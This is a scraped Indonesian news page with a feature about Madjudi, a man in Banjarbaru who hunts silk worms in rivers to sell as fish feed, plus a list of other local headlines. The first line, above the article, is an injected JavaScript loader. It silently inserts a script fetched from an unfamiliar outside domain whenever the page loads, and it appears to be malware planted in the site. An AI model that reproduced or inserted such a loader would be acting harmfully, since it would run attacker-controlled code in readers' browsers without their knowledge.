(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Madjudi, Lima Tahun Berkubang di Sungai untuk Memburu Cacing Sutra


BANJARBARU, Sungai Kemuning merupakn lokasi yang  menjadi favorit baru bagi kawula muda untuk bersantai. Namun ada satu pemandangan yang menarik bila bertandang ke tempat itu. Yakni seorang pria berpakaian lusuh yang sedang beraktivitas di sana. Dilengkapi jaring dan kotak stereofoam, ia menyisiri sungai dangkal tersebut. Apa yang dilakukan?

Madjudi (52), warga Sekumpul Kecamatan Martapura Kota itu nampak sibuk membolak-balik gumpalan tanah yang diambilnya dari dasar sungai, Kamis (3/5) sore. Kiranya, apa yang dilakukan itu demi untuk menemukan cacing sutra.

Baginya, menemukan cacing sutra bukan perkara susah bagi ayah dua anak itu. Di beberapa titik yang tak berjauhan, dia sudah menemukan ratusan cacing sutra. Cacing itu kemudian dimasukkan Madjudi ke kotak stereofom.

Menurutnya, perlu waktu dua jam untuk memenuhi bak berukuran 1×0,5 meter persegi itu dengan cacing sutra. “Cacing harus segera dibungkus dan dibawa pulang untuk dibersihkan. Selanjutnya cacing ditaruh di tempat beroksigen agar tidak mati,” jelasnya.

Pertanyaannya, buat apa cacing tersebut?

Kendati bagi sebagian orang dianggap menjijikkan, cacing itu bernilai ekonomi bagi Madjudi. Cacing dicari para pembibit ikan patin seperti dirinya. Cacing sutra dengan takaran berukuran 0,25 liter dihargai Rp 15 ribu.

Sehari Madjudi bisa mendapatkan 20 takar atau lima liter cacing senilai Rp 300 ribu. Lima tahun sudah Madjudi menghabiskan waktunya berendam di sungai di Banjarbaru. Dulunya,  dia seorang buruh bangunan ini banting setir menjadi pencari cacing sutra atau biasa di sebut cacing rambut karena saat ini dirasa  sedang “bagus” penjualannya.

Berangkat dari pukul 09.00-17.00 Wita, ia memasuki sungai dangkal yang ada di Banjarbaru seperti Sungai Kemuning. Namun tak jarang juga dia berpindah ke sungai yang ada di dekat bandara. Menurutnya, profesi sebagai pencari cacing sutra cukup menjanjikan dibanding dengan saat dulu dia bekerja sebagai buruh bangunan.

“Kalau lagi bagus cuacanya dapat banyak, harga jualnya juga bagus” ujarnya.

Apalagi menjualnya pun juga cukup mudah. Sebab di sekitar banjarbaru sendiri banyak yang menjadi peternak ikan. Dia mengaku banyak yang memandang sebelah mata profesinya. Karena harus meraba-raba di dalam sungai berlumpur dan dianggap jorok.

Cacing sutra (tubifex), sering juga disebut cacing rambut atau cacing darah merupakan cacing kecil seukuran rambut berwarna kemerahan dengan panjang sekitar 1-3 cm. Dengan tubuh berwarna merah kecoklatan dengan ruas-ruas, hidup dengan membentuk koloni di perairan jernih yang kaya bahan organik.

Cacing rambut merupakan salah satu alternatif pakan alami yang dapat dipilih untuk memberi makan ikan yang anda pelihara, terutama pada saat fase larva hingga benih ataupun untuk ikan hias anda karena memiliki kandungan nutrisi yang baik dan cenderung seimbang dan sangat bagus untuk pertumbuhan ikan. Di dalam tubuh cacing sutra terkandung kira-kira 57% protein dan 13% lemak, yang oleh karena itu merupakan pakan yang baik untuk ikan, tidak terkecuali ikan yang dipelihara manusia seperti lele atau ikan hias.

Cacing sutra biasanya diperoleh dengan cara menambang/mengambilnya dari sungai. Kegiatan penambangan ada yang dilakukan dengan cara menyelam. Apabila seorang penyelam menemukan koloni cacing sutra di dasar sungai, maka koloni cacing tersebut akan ditambang  (diangkat) dari dasar sungai.

Perlu waktu 1-2 bulan bagi Madjudi untuk belajar mencari cacing sutra. Terutama untuk mengasah indra peraba dan feeling yang kuat dalam menentukan lokasi di mana koloni cacing itu berada. “Kalau diraba-raba itu kaya ada jelly di dalam lumpur langsung kukut (angkat-red) aja,” ujarnya. “Itu kemungkinan besar cacing sutra!” (devi)

Reporter: Devi
Editor: Chell

Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

6 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

8 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

8 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

8 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

9 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

9 jam ago

This website uses cookies.